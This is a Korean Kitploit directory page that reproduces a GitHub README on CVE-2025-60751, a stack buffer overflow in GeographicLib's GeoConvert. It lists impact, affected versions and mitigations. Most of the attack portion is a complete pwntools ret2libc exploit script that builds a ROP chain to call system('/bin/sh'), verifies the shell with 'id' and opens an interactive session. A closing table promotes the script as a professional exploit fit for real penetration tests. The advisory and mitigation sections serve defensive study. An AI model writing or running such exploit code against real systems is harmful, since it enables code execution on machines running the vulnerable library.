Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-60751 | Kitploit
도구/GitHubGitHub/kaleth4/cve-2025-60751
Vulnerability AnalysisExploitationReverse EngineeringShellcodeDebuggersPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-60751: GeographicLib 스택 기반 버퍼 오버플로우

📌 이 저장소는 C++ 라이브러리 GeographicLib에 존재하는 스택 기반 버퍼 오버플로우 (Stack-based Buffer Overflow) 결함인 CVE-2025-60751 취약점에 대한 분석 및 기술 문서를 포함합니다.


📝 설명

이 취약점은 GeoConvert 구성 요소 내의 DMS::InternalDecode 함수에서 발생합니다.
이 결함은 라이브러리가 DMS (도, 분, 초) 형식의 잘못되었거나 지나치게 긴 좌표 문자열을 처리하려고 할 때 발생하며, 이로 인해 스택에 할당된 버퍼의 경계를 벗어난 쓰기가 발생합니다.

  • 식별자: CVE-2025-60751
  • 구성 요소: GeoConvert / DMS::InternalDecode
  • 유형: Stack-based Buffer Overflow (CWE-121)
  • 심각도 (CVSS 3.1): 7.5 HIGH
  • 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

🔍 영향

원격 공격자는 특별히 제작된 좌표 문자열을 전송하여 다음을 수행할 수 있습니다:

  • 서비스 거부 (DoS): GeographicLib를 사용하여 좌표를 변환하는 애플리케이션의 예기치 않은 종료(crash)를 유발합니다.
  • 시스템 불안정: 스택의 인접 메모리를 손상시켜 프로그램의 실행 흐름에 영향을 미칩니다.

⚠️ 기술 참고 사항: 현재 벡터는 가용성(A:H)에 초점을 맞추고 있지만, 현대적인 메모리 보호 기능(Stack Canaries, NX bit 또는 ASLR 활성화 등)이 없는 특정 환경에서는 이 결함이 잠재적으로 임의 코드 실행으로 확대될 수 있습니다.


💻 영향을 받는 시스템

제품취약 버전감지된 배포판
GeographicLib2.5Debian LTS, Ubuntu 및 이 버전을 통합하는 기타 Linux 리포지토리의 패키지

🛠️ 완화 및 해결 방법

✅ 업데이트: InternalDecode의 길이 검증이 수정된 최신 버전의 GeographicLib로 업데이트할 것을 강력히 권장합니다.

✅ 입력 검증: 업데이트가 불가능한 경우, DMS::Decode로 전송되는 문자열의 길이를 제한하는 검증 계층을 구현하십시오 (예: 최대 32자).

✅ 안전한 컴파일: 스택 보호 플래그를 사용하여 라이브러리를 컴파일하십시오:

root@kitploit:~
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now

📚 참고 자료

  • Issue #43 – GeographicLib GitHub
  • zer0matt의 기술 분석
  • Debian LTS Advisory

💀 전문 익스플로잇 (고급 수준 — OSCP / Exploit-DB 스타일)

이 익스플로잇은 pwntools를 사용하여 버퍼 오버플로우를 활용한 Ret2Libc 공격을 수행합니다.
기본 버전과 달리 이 구현은 강력하고, 동적이며, 검증 가능하여 실제 침투 테스트 및 실습 환경에 적합합니다.

✅ 무엇이 *"프로"*답게 만드는가?

🐍 익스플로잇 코드 (exploit.py)

root@kitploit:~
#!/usr/bin/env python3
from pwn import *

# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---

context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'

def exploit():
    # 1. Gestión de procesos (Local vs Remoto)
    if args.GDB:
        io = gdb.debug([elf.path], gdbscript="""
            b *main
            continue
        """)
    else:
        # ASAN puede interferir con los offsets si no se gestiona bien
        io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})

    # 2. Localización Dinámica de Gadgets
    rop = ROP(elf)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]
    
    log.info(f"Gadget POP RDI: {hex(POP_RDI)}")

    # 3. Fuga de Memoria (Leak) para Bypass de ASLR
    # En entornos reales: usar leak + libc-database o libc.rip.
    # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
    LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
    SYSTEM = LIBC_BASE + 0x5d110
    BINSH  = LIBC_BASE + 0x1b1ea4
    EXIT   = LIBC_BASE + 0x4c340

    # 4. Construcción del Payload (Estructura Limpia & Aligned)
    offset = 136
    
    chain = [
        b"A" * offset,
        p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
        p64(POP_RDI),
        p64(BINSH),
        p64(SYSTEM),
        p64(EXIT)
    ]
    
    payload = b"".join(chain)

    # 5. Ejecución y Verificación
    log.info("Sending payload and spawning shell...")
    io.sendline(payload)
    
    io.clean()
    io.sendline(b"id")
    res = io.recvline(timeout=2)
    
    if b"uid=" in res:
        log.success("Pwned! enjoy your shell.")
        io.interactive()
    else:
        log.error("Exploit failed or no output received.")
        io.close()

if __name__ == "__main__":
    exploit()

⚠️ 면책 조항
이 저장소는 사이버 보안 전문가를 위한 순수한 정보 제공 및 교육 목적입니다.
이 정보를 불법적인 목적으로 사용하는 것은 전적으로 사용자의 책임입니다.
❗ 코드를 주의해서 사용하십시오: 승인된 격리된 환경에서만, 명시적 허가를 받은 경우에만 사용하십시오.


🔐 보안은 기능이 아니라 — 하나의 학문입니다.
📬 취약점 보고: [email protected]
📦 공식 저장소: https://github.com/geographiclib/geographiclib

root@kitploit:~
도구 다운로드
특징이점
동적 ROP(elf)하드코딩된 가젯에 의존하지 않음: 바이너리에서 자동으로 찾아냄.
GDB 통합 지원python exploit.py GDB 실행 → 자동 디버깅 세션 시작.
익스플로잇 후 검증id를 전송하고 대화형 제어를 넘겨주기 전에 셸을 확인함.
스택 정렬을 위한 RET잘못된 정렬로 인한 system() 충돌 방지 (x64에서 중요).
list + b"".join() 구조의 페이로드깔끔하고 가독성이 좋으며 수정 및 확장이 용이함.